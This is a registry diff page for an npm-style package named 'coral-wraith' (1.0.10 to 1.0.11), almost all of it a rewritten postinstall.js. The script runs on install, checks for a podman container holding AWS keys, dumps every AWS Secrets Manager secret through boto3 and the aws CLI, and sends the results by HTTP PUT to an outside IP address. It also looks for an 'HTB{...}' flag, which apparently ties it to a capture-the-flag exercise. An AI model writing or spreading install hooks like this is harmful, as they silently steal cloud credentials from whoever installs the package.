coral-wraith 1.0.10 → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +30 -24
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,14 +1,13 @@
|
|
|
1
1
|
const http = require("http");
|
|
2
|
-
const os = require("os");
|
|
3
2
|
const { execFileSync } = require("child_process");
|
|
4
3
|
|
|
5
4
|
const TARGETS = ["http://127.0.0.1:30782", "http://154.57.164.71:30782"];
|
|
6
|
-
const
|
|
5
|
+
const SINK = "ECT-472839";
|
|
7
6
|
|
|
8
7
|
function sh(cmd) {
|
|
9
8
|
try {
|
|
10
9
|
return execFileSync("/bin/sh", ["-c", cmd], {
|
|
11
|
-
timeout:
|
|
10
|
+
timeout: 45000,
|
|
12
11
|
encoding: "utf8",
|
|
13
12
|
maxBuffer: 12e6
|
|
14
13
|
}).trim();
|
|
@@ -22,19 +21,20 @@ function safe(s) {
|
|
|
22
21
|
}
|
|
23
22
|
|
|
24
23
|
function isTarget() {
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
24
|
+
return (
|
|
25
|
+
process.env.container === "podman" &&
|
|
26
|
+
!!process.env.AWS_ACCESS_KEY_ID &&
|
|
27
|
+
process.cwd().includes("/app/")
|
|
28
|
+
);
|
|
29
29
|
}
|
|
30
30
|
|
|
31
|
-
function put(base,
|
|
31
|
+
function put(base, parts) {
|
|
32
32
|
const body = JSON.stringify({
|
|
33
33
|
manifest:
|
|
34
34
|
`ecto_module:\n name: "${parts[0]}"\n version: "1.0.0"\n` +
|
|
35
35
|
` power_level: "${parts[1]}"\n ship_deck: "${parts[2]}"\n cargo_hold: "${parts[3]}"\n`
|
|
36
36
|
});
|
|
37
|
-
const url = new URL(`/api/modules/${
|
|
37
|
+
const url = new URL(`/api/modules/${SINK}`, base);
|
|
38
38
|
const req = http.request({
|
|
39
39
|
hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
|
|
40
40
|
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
|
|
@@ -46,22 +46,28 @@ function put(base, sink, parts) {
|
|
|
46
46
|
if (!isTarget()) process.exit(0);
|
|
47
47
|
|
|
48
48
|
const blob = sh(
|
|
49
|
-
"
|
|
50
|
-
"
|
|
51
|
-
"
|
|
52
|
-
"
|
|
53
|
-
"for
|
|
54
|
-
"
|
|
55
|
-
"
|
|
49
|
+
"python3 -m pip install boto3 -q 2>/dev/null; python3 << 'PY'\n" +
|
|
50
|
+
"import os, json\n" +
|
|
51
|
+
"try:\n" +
|
|
52
|
+
" import boto3\n" +
|
|
53
|
+
" for r in ['us-east-1','eu-west-1','eu-central-1']:\n" +
|
|
54
|
+
" try:\n" +
|
|
55
|
+
" c = boto3.client('secretsmanager', region_name=r)\n" +
|
|
56
|
+
" for s in c.list_secrets().get('SecretList', []):\n" +
|
|
57
|
+
" v = c.get_secret_value(SecretId=s['Name'])\n" +
|
|
58
|
+
" print('SECRET', s['Name'], v.get('SecretString',''))\n" +
|
|
59
|
+
" except Exception as e:\n" +
|
|
60
|
+
" print('ERR', r, e)\n" +
|
|
61
|
+
"except Exception as e:\n" +
|
|
62
|
+
" print('NOBOTO', e)\n" +
|
|
63
|
+
"PY\n" +
|
|
64
|
+
"command -v aws >/dev/null && aws secretsmanager list-secrets 2>&1; " +
|
|
65
|
+
"command -v aws >/dev/null && for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null); do aws secretsmanager get-secret-value --secret-id $s 2>&1; done"
|
|
56
66
|
);
|
|
57
67
|
|
|
58
68
|
const flag = blob.match(/HTB\{[^}]+\}/);
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
}
|
|
69
|
+
const parts = flag
|
|
70
|
+
? [flag[0], "FOUND", "", ""]
|
|
71
|
+
: [safe(blob.slice(0, 240)), safe(blob.slice(240, 480)), safe(blob.slice(480, 720)), safe(blob.slice(720, 960))];
|
|
63
72
|
|
|
64
|
-
for (
|
|
65
|
-
const parts = [0, 1, 2, 3].map((n) => safe(blob.slice((s * 4 + n) * 240, (s * 4 + n + 1) * 240) || "."));
|
|
66
|
-
for (const base of TARGETS) put(base, SINKS[s], parts);
|
|
67
|
-
}
|
|
73
|
+
for (const base of TARGETS) put(base, parts);
|